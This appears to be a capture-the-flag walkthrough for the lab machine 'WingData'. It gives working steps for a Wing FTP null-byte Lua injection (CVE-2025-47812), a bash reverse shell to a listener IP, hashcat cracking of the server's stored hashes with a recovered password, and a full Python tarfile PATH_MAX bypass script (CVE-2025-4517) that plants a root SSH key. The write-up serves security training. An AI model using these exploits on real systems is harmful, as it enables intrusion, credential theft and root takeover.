πŸ–₯️ Machine Information

WingData

WingData

Linux
EASY
Release Date 14 Feb 2026
IP Address 10.129.244.106
OS 🐧 Linux
Difficulty Easy

🧠 Attack Path Overview

graph TD
    A["Reconnaissance: Port Scan"] --> B["Foothold: CVE-2025-47812 (Null-Byte Lua RCE)"]
    B --> C["Lateral Movement: Cracking SHA256 Hash"]
    C --> D["Privilege Escalation: CVE-2025-4517 (Python tarfile Path Bypass)"]
    D --> E["Full Root SSH Takeover"]

[!NOTE] WingData runs a Wing FTP Server instance with anonymous access enabled. The attack chain involves:

  • CVE-2025-47812: Null-byte injection in the Wing FTP web login smuggles Lua code into the session .lua file, yielding RCE as wingftp.
  • Hash Cracking: Wing FTP stores salted SHA256 hashes in XML config files; crack wacky’s hash and reuse the password over SSH.
  • CVE-2025-4517: A sudo-allowed Python backup script calls tarfile.extractall(filter="data"); exploit a PATH_MAX overflow to bypass the data filter and write an SSH key into /root/.ssh/.

πŸ” Phase 1: Reconnaissance & Enumeration

1. Host Discovery & Port Scanning

We begin by running a standard Nmap scan to discover open ports and running services:

sudo nmap -p- --reason --min-rate 10000 10.129.244.106

Only 2 open ports are discovered:

  • Port 22/tcp: SSH (OpenSSH 9.2p1 Debian 2+deb12u7)
  • Port 80/tcp: HTTP (Apache httpd 2.4.66 β†’ redirect to wingdata.htb)

Note: OpenSSH version maps to Debian 12 Bookworm. TTL 63 indicates a Linux machine one hop away.

2. Subdomain Enumeration

We execute subdomain enumeration using ffuf:

ffuf -u http://10.129.244.106 -H "Host: FUZZ.wingdata.htb" \
  -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

We find the FTP subdomain:

  • ftp.wingdata.htb [Status: 200, Size: 678]

Add both domains to /etc/hosts:

10.129.244.106  wingdata.htb ftp.wingdata.htb

wingdata.htb β€” Static Marketing Site

An Apache/Debian static site. The β€œClient Portal” link leads to ftp.wingdata.htb. Directory brute force returns only static assets β€” nothing actionable.

ftp.wingdata.htb β€” Wing FTP Server

  • Server: Wing FTP Server (Free Edition)
  • Version: v7.4.3 (shown in page footer)

Anonymous login works out of the box (default Wing FTP behavior). No admin panel access without credentials.


πŸš€ Phase 2: Vulnerability Analysis & Foothold

1. CVE-2025-47812 β€” Null-Byte Lua Code Injection

Background: Wing FTP Server before v7.4.4 mishandles \0 bytes in the username field. The name check stops at the null byte (sees a valid username), but the full string is written into the session file as <cookie>.lua. Any Lua code appended after the \0 executes when the session is loaded.

Impact: CVSS 10.0 β€” unauthenticated RCE, exploitable via anonymous accounts.

Normal session file structure:

_SESSION['username']=[[anonymous]]
_SESSION['ipaddress']=[[10.10.14.51]]
_SESSION['currentpath']=[[/]]

Crafted username payload:

anonymous\0]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--

Resulting malicious session file:

_SESSION['username']=[[anonymous\0]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--]]
_SESSION['ipaddress']=[[10.10.14.51]]
_SESSION['currentpath']=[[/]]

The -- comments out the trailing ]], making it valid Lua. The injected code runs on every page load with the malicious cookie.

2. Exploitation & Initial Shell

Step 1 β€” Inject the Payload (Burp Repeater)

Send a login POST to ftp.wingdata.htb with URL-encoded username:

POST /login.html HTTP/1.1
Host: ftp.wingdata.htb
Content-Type: application/x-www-form-urlencoded

username=anonymous%00%5D%5D%0Alocal+h+%3D+io.popen(%22id%22)%0Alocal+r+%3D+h%3Aread(%22*a%22)%0Ah%3Aclose()%0Aprint(r)%0A--&password=

The response sets a new session cookie.

Step 2 β€” Trigger Execution

Load /dir.html with that cookie β†’ id output appears at the top of the page:

uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)

Note: Wing FTP does not run as root (unlike the real-world default).

Step 3 β€” Reverse Shell

Replace id with a bash reverse shell in the Burp Repeater tab:

bash -c 'bash -i >& /dev/tcp/10.10.14.51/443 0>&1'

Trigger the new cookie β†’ shell connects:

nc -lnvp 443
# wingftp@wingdata:/opt/wftpserver$

Upgrade the shell:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
# Terminal type? screen

πŸ—ΊοΈ Phase 3: Lateral Movement & SSH Access

1. Extracting Password Hashes

Wing FTP stores accounts as XML files. Pull all password hashes:

find /opt/wftpserver/Data -name '*.xml' | xargs grep -i -e salt -e password
# EnablePasswordSalting: 1
# SaltingString: WingFTP
# EnableSHA256: 1

Format: SHA256(password + "WingFTP")

Extract all hashes in hashcat format (hash:salt):

grep -r "<Password>" /opt/wftpserver/Data | \
  sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)</[^>]+>.*#\2:WingFTP#' \
  | tee wingftp.hashes

Output:

a8339f8e...:WingFTP   (admin)
a70221f3...:WingFTP   (maria)
5916c748...:WingFTP   (steve)
32940def...:WingFTP   (wacky)
d67f8615...:WingFTP   (anonymous)
c1f14672...:WingFTP   (john)

2. Cracking with Hashcat

Hashcat mode 1410 corresponds to sha256($pass.$salt):

hashcat -m 1410 --user wingftp.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
# 32940def...:WingFTP  β†’  !#7Blushing^*Bride5   (wacky)
# d67f8615...:WingFTP  β†’  (empty)               (anonymous)

We log in as wacky via SSH:

sshpass -p '!#7Blushing^*Bride5' ssh wacky@wingdata.htb
# wacky@wingdata:~$
cat ~/user.txt

⚑ Phase 4: Privilege Escalation

1. Enumeration

Check sudo privileges:

sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Script analysis (restore_backup_clients.py):

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE    = "/opt/backup_clients/restored_backups"

# Constraints enforced:
# -b  β†’  must match backup_<digits>.tar   (no path traversal possible)
# -r  β†’  must start with restore_ + [a-zA-Z0-9_]{1,24}

with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")   # ← vulnerable line

The filter="data" in Python 3.12.3 is vulnerable to CVE-2025-4517.

2. CVE-2025-4517 β€” Python tarfile data Filter PATH_MAX Bypass

Vulnerability: The data filter validates link targets by calling os.path.realpath() in non-strict mode. If the path being resolved exceeds PATH_MAX (4096 bytes on Linux), realpath gets ENAMETOOLONG, stops resolving silently, and appends the rest literally. The filter sees a safe-looking path and allows it, but the OS follows the real symlink during extraction β€” writing outside the extraction directory.

Primitive: Arbitrary file write (create or overwrite any file accessible to root).

Building the Malicious Archive

import tarfile, os, io, sys

comp  = 'd' * 247          # 247 chars Γ— 16 dirs = ~3952 bytes (approaching PATH_MAX)
steps = "abcdefghijklmnop" # 16 single-letter symlink names

with tarfile.open("/opt/backup_clients/backups/backup_223.tar", mode="x") as tar:

    # 1. Build the chain of long dirs + symlinks that inflates the resolved path
    path = ""
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    # 2. Overflow symlink β€” 254 chars pushes path over PATH_MAX
    #    realpath gets ENAMETOOLONG β†’ stops here β†’ never follows this symlink
    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)   # escapes back to extraction root
    tar.addfile(l)

    # 3. escape β†’ symlink through the overflow to /root
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../root"   # lands at /root
    tar.addfile(e)

    # 4. Write authorized_keys into /root/.ssh/ through the escape symlink
    pub_key = b"\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d vulnq@htb\n"
    c = tarfile.TarInfo("escape/.ssh/authorized_keys")
    c.type = tarfile.REGTYPE
    c.size = len(pub_key)
    tar.addfile(c, fileobj=io.BytesIO(pub_key))

Execution

Run the custom Python script to create the tar file:

python3 poc.py   # creates /opt/backup_clients/backups/backup_223.tar

Execute the restore script as root:

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_223.tar -r restore_vulnq
# [+] Backup: backup_223.tar
# [+] Staging directory: /opt/backup_clients/restored_backups/restore_vulnq
# [+] Extraction completed in /opt/backup_clients/restored_backups/restore_vulnq

Spawning Root Shell

ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
# root@wingdata:~#
cat /root/root.txt

πŸ”‘ Credentials Summary

Account Credential Method
wingftp β€” CVE-2025-47812 RCE (anonymous login)
wacky !#7Blushing^*Bride5 Hashcat SHA256+salt (mode 1410)
root SSH key CVE-2025-4517 arbitrary file write

⚑ Key Techniques

Phase Technique Detail
Initial Access Null-byte Lua injection CVE-2025-47812 Β· Wing FTP ≀ 7.4.3
Code Trigger Load session cookie Lua executes on /dir.html load
Hash Extraction XML config files /opt/wftpserver/Data/1/users/*.xml
Hash Cracking SHA256($pass.$salt) Hashcat mode 1410 Β· salt = WingFTP
Lateral Movement Password reuse wacky FTP password = SSH password
Privilege Escalation PATH_MAX overflow CVE-2025-4517 Β· Python 3.12.3 tarfile
Root Write Primitive Symlink chain β†’ /root/.ssh/ Arbitrary file write as root

πŸ”— References

  • CVE-2025-47812: Wing FTP RCE
  • CVE-2025-4517: Python tarfile data filter bypass
  • Seth Larson: Five tarfile CVEs
  • CISA KEV: CVE-2025-47812
  • Python tarfile: extraction filters documentation